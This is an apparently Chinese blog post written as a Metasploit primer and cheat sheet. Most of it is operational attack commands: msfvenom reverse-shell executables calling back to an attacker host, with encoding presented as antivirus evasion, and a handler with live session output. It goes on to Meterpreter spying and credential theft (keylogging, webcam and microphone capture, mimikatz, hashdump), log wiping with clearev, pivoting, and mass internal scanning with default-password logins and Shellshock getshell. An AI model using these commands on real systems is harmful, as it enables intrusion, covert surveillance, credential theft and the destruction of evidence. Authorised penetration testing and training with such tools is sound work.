MSF扫盲

Metasplot Framework

目录

0x00 简介
0x01 安装Metasploit(Windows和Linux)
0x02 msfvenom
0x03 监听
0x04 Meterpreter命令
0x05 路由
0x06 内网扫描

0x00 简介

MetaSploit-Framework简介

​  Metasploit是一款开源的渗透测试框架平台,到目前为止,msf已经内置了数千个 已披露的漏洞相关的模块和渗透测试工具,模块使用ruby语言编写,这使得使用者 能够根据需要对模块进行适当修改,甚至是调用自己写的测试模块。选定需要使用 的攻击模块之后,你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的 测试和利用,将渗透的过程自动化、简单化。

相关术语

Exploit:攻击
通过利用msf中的脚本对目标系统实施精准打击或漏洞验证
Payload:攻击载荷
攻击载荷是在渗透攻击成功后促使目标系统运行的一段植入代码
Listener:监听器
生成木马之后发给受害主机,监听反弹木马连入本机

0x01 安装Metasploit

Linux:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall


Windows:
访问:https://metasploit.help.rapid7.com/docs/installing-the-metasploit-framework
下载地址:http://windows.metasploit.com/metasploitframework-latest.msi

0x01-1 windows下载安装

访问:https://metasploit.help.rapid7.com/docs/installing-the-metasploit-framework
下载地址:http://windows.metasploit.com/metasploitframework-latest.msi

运行metasploitframework-latest.msi,一路安装下去

然后到C:\metasploit-framework\bin,运行msfconsole.bat

img

img

0x01-2 Linux环境下载安装

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall

输入命令msfconsole进入控制台

img

0x02 msfvenom

metasploit-framework旗下的msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)已然成为历史,取而代之的是msfvenom。

Options:
    -p, --payload    <payload>       指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#039;-&#039;或者stdin指定
    -l, --list       [module_type]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
    -n, --nopsled    <length>        为payload预先指定一个NOP滑动长度
    -f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
    -e, --encoder    [encoder]       指定需要使用的encoder(编码器)
    -a, --arch       <architecture>  指定payload的目标架构
        --platform   <platform>      指定payload的目标平台
    -s, --space      <length>        设定有效攻击荷载的最大长度
    -b, --bad-chars  <list>          设定规避字符集,比如: &#039;\x00\xff&#039;
    -i, --iterations <count>         指定payload的编码次数
    -c, --add-code   <path>          指定一个附加的win32 shellcode文件
    -x, --template   <path>          指定一个自定义的可执行文件作为模板
    -k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行
        --payload-options            列举payload的标准选项
    -o, --out   <path>               保存payload
    -v, --var-name <name>            指定一个自定义的变量,以确定输出格式
        --shellest                   最小化生成payload
    -h, --help                       查看帮助选项
        --help-formats               查看msf支持的输出格式列表

0x02-1 payloads

msfvenom -l payloads                                                    列出payloads
msfvenom -l payloads | grep windows/meterpreter                         筛选出windows系统的payloads
msfvenom -p windows/meterpreter/reverse_tcp --payload-options           查看某个payloads的参数
有windows,Linux,android等个平台的payload

img

img

img

0x02-2 编码

msfvenom -l encoders
常用的编码:
cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder

img

0x02-3 nops选项(空字段模块/一切为了绕过和免杀

msfvenom -l nops

img

0x02-4 生成payload

msfvenom生成payload的常见格式为:

msfvenom -p <payload> <payload options> -f <format> -o <path>

最简单型

最简单型:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.168.237 LPORT=4444 -f exe -o reverse_shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.168.237 LPORT=4444 -f exe -o reverse_shell.exe
-p 指定payload,windows/meterpreter/reverse_tcp          是32位的windows系统反弹shell的payload
               windows/x64/meterpreter/reverse_tcp      是64位的windows系统反弹shell的payload
LHOST msf的IP
LPORT msf监听的端口
-f 生成的格式为exe
-o 输出到本地名为reverse_shel.exe

img

编码处理型:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LPORT=5555 LHOST=192.168.168.237 -e x86/shikata_ga_nai -i 11 -f exe -o reverse_shell2.exe
-a                      64或32位系统
--platform windows      指定windows系统
-e x86/shikata_ga_nai   编码格式
-i 5                    编码次数
X>reverse_shell.exe     -f exe -o reverse_shell.exe

img

0x03 监听

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.168.237
lhost => 192.168.168.237
msf5 exploit(multi/handler) > set lport 5555
lport => 5555
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.168.237:5555 
[*] Sending stage (179779 bytes) to 192.168.168.191
[*] Meterpreter session 1 opened (192.168.168.237:5555 -> 192.168.168.191:52691) at 2019-12-23 14:57:58 +0800
meterpreter > 

img

快速监听

handler -H 192.168.168.237 -P 5555 -p windows/meterpreter/reverse_tcp

img

0x04 Meterpreter命令

查看有多少会话
sessions -l
连接会话
sessions -i id
查看会话命令
meterpreter > help
查看进程
meterpreter > ps
进程注入
meterpreter > migrate id
vnc查看桌面
meterpreter > run vnc
录音
meterpreter > record_mic -d 10
开启摄像头
meterpreter > webcam_stream 
屏幕截图
meterpreter > getdesktop
系统信息
meterpreter > sysinfo
取密码
meterpreter > load mimikatz      加载法国面包
meterpreter > msv                获取密码
meterpreter > kerberos           获取密码
meterpreter > clearev            清除日志
截图
meterpreter > screenshot
获取最高权限
meterpreter > getsystem
进入目标机器shell
meterpreter > shell
键盘记录
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
录音
meterpreter > record_mic -d 10
打开摄像头
meterpreter > webcam_stream
上传文件
meterpreter > upload /root/shellcode/1.txt c:\\windows\\temp\\
下载文件
meterpreter > download c:\\windows\\temp\\2.txt /root/shellcode/

Reboot      重启电脑
Reg        修改注册表
Shutdown    关闭电脑
hashdump     下载hash

查看会话,连接会话

sessions -l
sessions -i id

img

查看进程

ps

img

进程注入

migrate pid

img

img

vnc查看桌面

run vnc

img

取密码

meterpreter > load mimikatz      加载法国面包
meterpreter > msv                获取密码
meterpreter > kerberos           获取密码
meterpreter > clearev            清除日志

img

系统信息

sysinfo

img

截图

screenshot

img

获取system权限

meterpreter > getsystem

img

键盘记录

keyscan_start
keyscan_dump
keyscan_stop

img

录音

apt-get install mplayer  
record_mic -h
record_mic -d 10
mplayer xxx.wav 

img

img

打开摄像头

webcam_stream

img

上传文件和下载文件

upload /root/shellcode/1.txt c:\\windows\\temp\\
download c:\\windows\\temp\\2.txt /root/shellcode/

img

0x05 路由

添加目标指定内网段路由的方式进行存活探测 
    1-1、扫描10.10.101.0/24
meterpreter > run get_local_subnets 
meterpreter > run autoroute -s 10.10.101.0 -n 255.255.255.0 注意这个掩码,实战中要根据机目标机器上的掩码来的,不要闭着眼睛就直接给 0/24,不然有些机器可能会被漏掉 
meterpreter > run autoroute -p 路由添加完以后,习惯性的看下到底有没有加上
【+】注意:此处案例是扫描其他段的时候,需要将路由也设置为其他段,例如:前面是扫描10.10.101段,现在要扫描10.10.102段,则路由设置为10.10.102段!
    2-1、扫描10.10.102.0/24
meterpreter > run get_local_subnets 
meterpreter > run autoroute -s 10.10.102.0 -n 255.255.255.0 注意这个掩码,实战中要根据机目标机器上的掩码来的,不要闭着眼睛就直接给 0/24,不然有些机器可能会被漏掉 
meterpreter > run autoroute -p 路由添加完以后,习惯性的看下到底有没有加上
【+】注意:此处案例是子网掩码为25,且rhost也设置为/25
    3-1、扫描10.10.101.0/24
meterpreter > run get_local_subnets 
meterpreter > run autoroute -s 163.20.81.0 -n 255.255.255.128 注意这个掩码,实战中要根据机目标机器上的掩码来的,不要闭着眼睛就直接给 0/24,不然有些机器可能会被漏掉 
meterpreter > run autoroute -p 路由添加完以后,习惯性的看下到底有没有加上
删除路由
run autoroute -d -s 10.10.101.0/24

添加路由

img

删除路由

img

0x06 内网扫描

端口扫描
use auxiliary/scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.168.0/24
msf5 auxiliary(scanner/portscan/tcp) > set ports 80
msf5 auxiliary(scanner/portscan/tcp) > set threads 100
msf5 auxiliary(scanner/portscan/tcp) > run
ms17010漏洞扫描
msf > use auxiliary/scanner/smb/smb_ms17_010 
msf > set rhosts 192.168.1.0/24 
msf > set rport 445 
msf > set threads 3
msf > run 
内网Jboss
msf > use auxiliary/scanner/http/jboss_vulnscan
msf > set rhosts 172.16.41.1-3,21-23,41-44,48,55,68,70,72,74-79,95,252 172.16.52.11,13-14,17,201 172.16.40.1-2,11-15 172.16.14.26,39,68,99,152,197,247,252,253 172.16.54.252 172.16.53.22,53,55,56,58,59,61-65
msf > set threads 5
msf > set rport 8080
msf > set rport 80
msf > run
内网Tomcat
msf > use auxiliary/admin/http/tomcat_administration [ 此模块只适合 tomcat 5.5 以下的版本,对于高版本,我们完全还有很多其它的替代品 ]
msf > set rhosts 172.16.41.1-3,21-23,41-44,48,55,68,70,72,74-79,95,252 172.16.52.11,13-14,17,201 172.16.40.1-2,11-15 172.16.14.26,39,68,99,152,197,247,252,253 172.16.54.252 172.16.53.22,53,55,56,58,59,61-65
msf > set rport 8080
msf > set rport 80
msf > set threads 5
msf > set tomcat_user tomcat
msf > set tomcat_pass tomcat
msf > run
内网 jenkins 默认登陆口弱口令
msf > use auxiliary/scanner/http/jenkins_login
msf > set rhosts 172.16.41.1-3,21-23,41-44,48,55,68,70,72,74-79,95,252 172.16.52.11,13-14,17,201 172.16.40.1-2,11-15 172.16.14.26,39,68,99,152,197,247,252,253 172.16.54.252 172.16.53.22,53,55,56,58,59,61-65
msf > set rport 8080
msf > set rport 80
msf > set threads 5
msf > set username admin
msf > set password admin
msf > run
内网批量 ssh 单口令探测
msf > use auxiliary/scanner/ssh/ssh_login
msf > set rhosts 172.16.41.3,1,2,26,23,24,25,21,22,48,95,252 172.16.40.1,2,16,17 172.16.14.99,152 
msf > set username admin
msf > set username root
msf > set password P@ssw0rd
msf > set threads 5
msf > run
bash 远程执行 [getshell]
msf > use auxiliary/scanner/http/apache_mod_cgi_bash_env
msf > set rhosts 172.16.41.1-3,21-23,41-44,48,55,68,70,72,74-79,95,252 172.16.52.11,13-14,17,201 172.16.40.1-2,11-15 172.16.14.26,39,68,99,152,197,247,252,253 172.16.54.252 172.16.53.22,53,55,56,58,59,61-65
msf > set rport 80
msf > set rport 8080
msf > set targeturi /cgi-bin/test.cgi
msf > run
心脏滴血[循环抓密码]
msf > use auxiliary/scanner/http/apache_optionsbleed
msf > set rhosts 172.16.41.1-3,21-23,41-44,48,55,68,70,72,74-79,95,252 172.16.52.11,13-14,17,201 172.16.40.1-2,11-15 172.16.14.26,39,68,99,152,197,247,252,253 172.16.54.252 172.16.53.22,53,55,56,58,59,61-65
msf > set rport 443
msf > set threads 3
msf > run
尝试对内网 web 进行批量 put 利用尝试
msf > use auxiliary/scanner/http/http_put
msf > set rhosts 172.16.41.1-3,21-23,41-44,48,55,68,70,72,74-79,95,252 172.16.52.11,13-14,17,201 172.16.40.1-2,11-15 172.16.14.26,39,68,99,152,197,247,252,253 172.16.54.252 172.16.53.22,53,55,56,58,59,61-65
msf > set filedata session logs
msf > set filename tmp.txt
msf > set rport 80
msf > set rport 8080
msf > set threads 3
msf > run
批量探测内网的下所有 ftp 种类及详细版本
msf > use auxiliary/scanner/ftp/ftp_version
msf > set rhosts 172.16.41.0/24 172.16.52.0/24 172.16.40.0/24 172.16.14.0/24 172.16.54.0/24 172.16.56.0/24 172.16.53.0/24
msf > set threads 5
msf > run
[+] 172.16.41.72:21 - FTP Banner: '220 Microsoft FTP Service\x0d\x0a'
[+] 172.16.14.152:21 - FTP Banner: '220 (vsFTPd 2.0.7)\x0d\x0a'
[+] 172.16.14.253:21 - FTP Banner: '220 (vsFTPd 2.2.2)\x0d\x0a'
[+] 172.16.53.59:21 - FTP Banner: '220 Microsoft FTP Service\x0d\x0a'
接着,拿着上面已经获取到的所有 ftp server 的 ip 继续尝试批量匿名读写
msf > use auxiliary/scanner/ftp/anonymous
msf > set rhosts 172.16.41.72 172.16.14.152,253 172.16.53.59
msf > set threads 1
msf > run
内网中尝试批量 nfs 挂载
msf > use auxiliary/scanner/nfs/nfsmount
msf > set rhosts 172.16.41.0/24 172.16.52.0/24 172.16.40.0/24 172.16.14.0/24 172.16.54.0/24 172.16.56.0/24 172.16.53.0/24
msf > set threads 5
msf > run
批量探测内网可匿名访问的 rsync,通常情况下这些 rsync 都是做 web 的同步备份的,所以里面可能包含有大量目标站点的敏感信息[账号密码]
msf > use auxiliary/scanner/rsync/modules_list
msf > set rhosts 172.16.41.0/24 172.16.52.0/24 172.16.40.0/24 172.16.14.0/24 172.16.54.0/24 172.16.56.0/24 172.16.53.0/24
msf > set rport 873
msf > set threads 5
msf > run

img

img


   转载规则


《MSF扫盲》 ske 采用 知识共享署名 4.0 国际许可协议 进行许可。